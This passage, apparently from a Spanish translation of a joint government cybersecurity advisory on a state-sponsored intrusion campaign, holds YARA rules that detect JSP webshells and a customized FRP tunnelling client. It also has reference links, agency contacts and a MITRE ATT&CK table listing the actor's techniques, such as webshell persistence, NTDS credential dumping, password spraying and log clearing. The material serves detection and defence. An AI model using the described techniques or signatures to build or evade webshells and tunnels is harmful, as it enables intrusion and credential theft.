Nota: el espacio entre “`)`” y “`Gecko`” es de 3 tabulaciones seguidas de 4 espacios.

Reglas de Yara

```
regla de ShellJSP {
    cadenas de caracteres:
        $s1 = "decrypt(fpath)"
        $s2 = "decrypt(fcontext)"
        $s3 = "decrypt(commandEnc)"
        $s4 = "upload failed!"
        $s5 = "aes.encrypt(allStr)"
        $s6 = "newid"

    condición:
        filesize < 50KB and 4 of them
}
```

```
regla de EncryptJSP {
    cadenas de caracteres:
        $s1 = "AEScrypt"
        $s2 = "AES/CBC/PKCS5Padding"
        $s3 = "SecretKeySpec"
        $s4 = "FileOutputStream"
        $s5 = "getParameter"
        $s6 = "new ProcessBuilder"
        $s7 = "new BufferedReader"
        $s8 = "readLine()"

    condición:
        filesize < 50KB and 6 of them
}
```

```
regla de CustomFRPClient {
   meta:
        descripción="Identificar instancias de la herramienta de FRP
personalizada del actor basándose en cadenas únicas elegidas por el actor e
incluidas en la herramienta".
   cadenas de caracteres:
        $s1 = "%!PS-Adobe-" nocase ascii wide
        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide
        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase
ascii wide
        $s4 = "MAGA2024!!!" nocase ascii wide
        $s5 = "HTTP_PROXYHost: %s" nocase ascii wide

   condición:
        all of them
}
```

```
regla de HACKTOOL_FRPClient {
   meta:
        descripción="Identificar instancias de la herramienta de FRP (Nota:
se sabe que esta herramienta es utilizada por múltiples actores, por lo que
las visitas no necesariamente implicarían actividad por parte del actor
específico descrito en este informe)".
   cadenas de caracteres:
        $s1 = "%!PS-Adobe-" nocase ascii wide
        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide
        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase
ascii wide
        $s4 = "HTTP_PROXYHost: %s" nocase ascii wide

   condición:
        3 of them
}
```

Referencias

Active Directory y refuerzo del controlador de dominio:

- Prácticas recomendadas: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory

Ciberamenazas regionales de CISA:

- Actividad patrocinada por el PRC: Descripción general y avisos de las amenazas cibernéticas de China

Blog de inteligencia sobre amenazas de Microsoft:

- Actividad de Volt Typhoon: https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/

Ntdsutil.exe:

- Descripción general: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)

PowerShell:

- Prácticas recomendadas: https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF
- Configuración de registro: https://www.mandiant.com/resources/blog/greater-visibility

Auditoría del proceso de línea de comandos de Windows:

- Descripción general: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing

Direwall de Windows Defender:

- Prácticas recomendadas: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/best-practices-configuring
- Configuración de registro: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log

Instrumentación de administración de Windows:

- Eventos: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity#obtaining-wmi-events-through-event-viewer
- Actividad de rastreo: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity

Pulverización de contraseñas de Windows:

- Configuración de registro y playbook: https://learn.microsoft.com/en-us/security/compass/incident-response-playbook-password-spray

Agradecimientos

El Centro de Colaboración de Ciberseguridad de la NSA, junto con las agencias autoras, reconocen a Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google's Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat Intelligence (MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix y otros socios de la industria por su colaboración en este asesoramiento.

Descargo de responsabilidad de respaldo

La información y opiniones contenidas en este documento se proporcionan “tal cual” y sin garantías. La referencia aquí a cualquier producto, proceso o servicio comercial específico por nombre comercial, marca registrada, fabricante o de otro modo no constituye ni implica su respaldo, recomendación o favor por parte de los gobiernos de las agencias autoras, y esta guía no se utilizará con fines publicitarios ni de promoción de productos.

Reconocimiento de marcas registradas

Active Directory®, Microsoft®, PowerShell® y Windows® son marcas registradas de Microsoft Corporation. MITRE® y ATT&CK® son marcas comerciales registradas de The MITRE Corporation.

Objetivo

Este documento se desarrolló para promover las misiones de seguridad cibernética de sus agencias autoras, incluidas las responsabilidades de estas de identificar y difundir amenazas, y de desarrollar y publicar especificaciones y medidas de seguridad cibernética para mitigar amenazas. Esta información se puede compartir ampliamente para llegar a todas las partes interesadas apropiadas.

Contacto

Organizaciones en los EE. UU.: denuncie con urgencia cualquier actividad o incidente anómalos, incluidos aquellos basados en información técnica asociada con este asesoramiento de seguridad cibernética, ante la CISA a Report@cisa.dhs.gov o cisa.gov/report o al FBI a través de la oficina local del FBI indicada en https://www.fbi.gov/contact-us/field-offices.
Preguntas y comentarios sobre el informe de ciberseguridad de la NSA: CybersecurityReports@nsa.gov
Consultas sobre la base industrial de defensa de la NSA y servicios de ciberseguridad: DIB_Defense@cyber.nsa.gov Consultas de los medios de la NSA / Mesa de prensa: 443-634-0721, MediaRelations@nsa.gov

Organizaciones de Australia: visite cyber.gov.au o llame al 1300 292 371 (1300 CYBER 1) para informar incidentes de ciberseguridad y acceder a alertas y avisos.

Organizaciones de Canadá: denuncie incidentes enviando un correo electrónico al CCCS a contact@cyber.gc.ca.

Organizaciones de Nueva Zelanda: denuncie incidentes de seguridad cibernética al incidents@ncsc.govt.nz o llame al 04 498 7654.

Organizaciones del Reino Unido: denuncie un incidente importante de seguridad cibernética en ncsc.gov.uk/report-an-incident (vigilado las 24 horas) o, para asistencia urgente, llame al 03000 200 973.

TLP:CLEAR

Apéndice: Técnicas de MITRE ATT&CK

La Tabla 2 captura todas las tácticas y técnicas de los actores a cuyas amenazas se hace referencia en este asesoramiento.

Tabla 2: Todas las tácticas y técnicas de los actores a cuyas amenazas se hace referencia en este asesoramiento

Título de la técnica	Identificación	Uso
Acceso inicial		
Explotación de aplicaciones públicas	T1190	El actor utilizó aplicaciones públicas para obtener acceso inicial a los sistemas; en este caso, Earthworm y PortProxy.
Ejecución		
Instrumentación de administración de Windows	T1047	El actor ejecutó comandos WMIC para crear una copia del registro SYSTEM.
Intérprete de comandos y líneas de comandos: PowerShell	T1059.001	El actor utilizó un comando de PowerShell para identificar los inicios de sesión exitosos en el servidor host.
Intérprete de comandos y líneas de comandos: Shell de comandos de Windows	T1059.003	El actor utilizó este mensaje de comando principal para ejecutar una consulta que recopilaba información sobre los dispositivos de almacenamiento en el servidor host local.
Persistencia		
Componente de software de servidor: Web Shell	T1505.003	El actor utilizó servidores web de backdoor con shells web para establecer persistencia en los sistemas, incluidos algunos de los webshells derivados del webshell *Awen*.
Evasión de defensa		
Eliminación del indicador	T1070	El actor borró selectivamente los registros de eventos de Windows, los registros del sistema y otros artefactos técnicos para eliminar las pruebas de su actividad de intrusión.
Eliminación del indicador: borrar registros de eventos de Windows	T1070.001	El actor borró los registros de eventos del sistema para ocultar la actividad de una intrusión.
Acceso a credenciales		
Vuelco de credenciales del sistema operativo (operating system, OS): NTDS	T1003.003	El actor puede intentar extraer el archivo ntds.dit y el subárbol de registro SYSTEM de la red para descifrar las contraseñas.
Fuerza bruta	T1110	El actor intentó acceder a cuentas con múltiples intentos de contraseña.

TLP:CLEAR

Fuerza bruta: pulverización de contraseñas	T1110.003	El actor utilizó contraseñas de uso común en cuentas para intentar adquirir credenciales válidas.
Volcado de credenciales de OS	T1003	El actor utilizó comandos adicionales para obtener credenciales en el entorno.
Credenciales de lugares de guardado de contraseñas	T1555	El actor buscó ubicaciones comunes de almacenamiento de contraseñas.
Descubrimiento		
Descubrimiento de información del sistema	T1082	El actor ejecutó comandos para recopilar información sobre controladores locales.
Descubrimiento del propietario/usuario del sistema	T1033	El actor recopiló información sobre inicios de sesión exitosos en el servidor host mediante un comando de PowerShell.
Descubrimiento de grupos de permisos: grupos locales	T1069.001	El actor intenta encontrar grupos de sistemas locales y configuraciones de permisos.
Descubrimiento de grupos de permisos: grupos de dominios	T1069.002	El actor utilizó comandos para enumerar la estructura del directorio activo.
Descubrimiento de la configuración de la red del sistema	T1016	El actor utilizó comandos para enumerar la topología de la red.
Comando y control		
Proxy	T1090	El actor utilizó comandos para habilitar el reenvío de puertos en el servidor host.
Proxy: Proxy externo	T1090.002	El actor utilizó dispositivos SOHO comprometidos (por ejemplo, enrutadores) para ofuscar la fuente de su actividad.